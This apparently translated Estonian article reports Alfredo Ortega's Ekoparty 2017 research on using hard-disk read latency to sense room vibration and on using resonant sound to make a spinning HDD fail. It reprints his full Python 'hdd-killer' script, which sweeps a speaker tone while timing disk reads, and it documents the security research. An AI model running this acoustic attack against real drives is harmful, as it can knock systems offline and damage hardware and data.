Arvutiturbe konverentsil Ekoparty 2017 Buenos Aireses näitas Argentina häkker Alfredo Ortega väga huvitavat arendust – süsteemi ruumide varjatud pealtkuulamiseks ilma mikrofoni kasutamata. Heli
Kõvaketas tabab peamiselt kõrge intensiivsusega madala sagedusega helisid, samme ja muid vibratsioone. Inimkõnet ei saa veel ära tunda, kuigi teadlased
Heli on õhu või muu keskkonna vibratsioon. Inimene tajub neid kuulmekile kaudu, mis edastab vibratsiooni sisekõrva. Mikrofon on disainitud umbes nagu kõrv – ka siin salvestab vibratsiooni õhuke membraan, mis ergastab elektriimpulsi. Kõvaketas on mõistagi allutatud ka mikroskoopilisele vibratsioonile, mis on tingitud ümbritseva õhu kõikumisest. Seda teatakse isegi kõvaketaste tehnilistest omadustest: tootjad märgivad enamasti ära maksimaalse lubatud vibratsioonitaseme ning kõvaketas ise üritab seda sageli asetada kummist või muust isoleermaterjalist vibratsioonikindlasse anumasse. Sellest on lihtne järeldada, et helisid saab salvestada HDD abil. Jääb vaid välja mõelda, kuidas.
Alfredo Ortega pakkus välja ainulaadse külgkanali rünnaku versiooni, nimelt ajarünnaku. See rünnak põhineb eeldusel, et olenevalt antud sisendandmetest tehakse seadmega erinevaid toiminguid erinevatel aegadel. Sel juhul on "sisendandmeteks" lugemispea ja HDD-plaadi vibratsioon, mis on korrelatsioonis keskkonna vibratsiooniga, see tähendab heliga. Seega saab arvutusaja mõõtmise ja andmete statistilise analüüsi abil mõõta pea/taldriku vibratsiooni ja seega ka kandja vibratsiooni. Mida pikem on andmete lugemise viivitus, seda tugevam on HDD vibratsioon ja seega ka valjem heli.
Kuidas mõõta kõvaketta vibratsiooni? Väga lihtne: lihtsalt käivitage süsteemikõne read ()
— ja salvestage täitmiseks kuluv aeg. Kaasaegsed operatsioonisüsteemid võimaldavad süsteemikõnede ajastust lugeda nanosekundi täpsusega.
Teabe lugemise kiirus sektorist sõltub pea ja taldriku asendist, mis on korrelatsioonis HDD korpuse vibratsiooniga. See on kõik.
Statistiline analüüs viiakse läbi lihtsa Kscope utiliidi abil. Nagu öeldakse, on kõik geniaalne lihtne.
Utiliit Kscope (stat() syscall)
Kscope on väike utiliit süsteemikõnede täitmisaegade väikeste erinevuste visualiseerimiseks. Allikas
Eraldi hoidlas read ()
.
Kõvaketta abil helisalvestuse demonstreerimine, utiliidi Kscope kasutamine
Loomulikult ei saa kõnest niimoodi aru, kuid vibratsioonianduriks sobib HDD üsna hästi. Näiteks saate registreerida, kui kõvade jalanõudega või paljajalu inimene sisenes arvutiga tuppa (tõenäoliselt, kui ründajal on jalas pehmed tossud või põrandal on paks vaip, ei saa HDD vibratsiooni registreerida - seda tasub kontrollida). Arvuti suudab registreerida klaasikilde või muid tugeva heliintensiivsusega juhtumeid. See tähendab, et kõvaketas võib olla omamoodi volitamata sissetungi tuvastamise süsteem.
HDD tapja
Muide, sarnast tehnikat saab kasutada kõvaketaste keelamiseks. Ainult siin me ei eemalda HDD-lt võnkumisi, vaid vastupidi, tekitame võnkumisi, mis söödetakse HDD-le. Kui esitate kõlarist heli sagedusel, mis resoneerub HDD sagedusega, lülitab süsteem seadme peagi välja I/O veaga (Linux'i kernel lülitab HDD täielikult välja 120 sekundi pärast). Kõvaketas ise võib saada pöördumatuid kahjustusi.
Linuxi tuum lülitas kõvaketta välja pärast 120-sekundilist heli edastamist Edifier r19u USB kõlari kõlari kaudu resonantssagedusel. Kõlar on sisse lülitatud umbes veerandi võimsusest (alla 100 mW) ja asub HDD-st 20 cm kaugusel ning on vibratsiooni suurendamiseks suunatud laua poole. Raam alates
On uudishimulik, et sellised kõvaketaste "rünnakud" juhtuvad mõnikord igapäevaelus täiesti juhuslikult. Näiteks 2016. aasta septembris oli ING panga andmekeskus sunnitud pärast tuletõrjeõppust oma tegevuse 10 tunniks peatama.
Inimeste karjumise demonstratsioon andmekeskuse kõvaketaste peale. Latentsuse mõõtmine
Resoneeriva heli tekitamiseks kirjutas Alfredo Ortega Pythoni skripti nimega
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Allikas: www.habr.com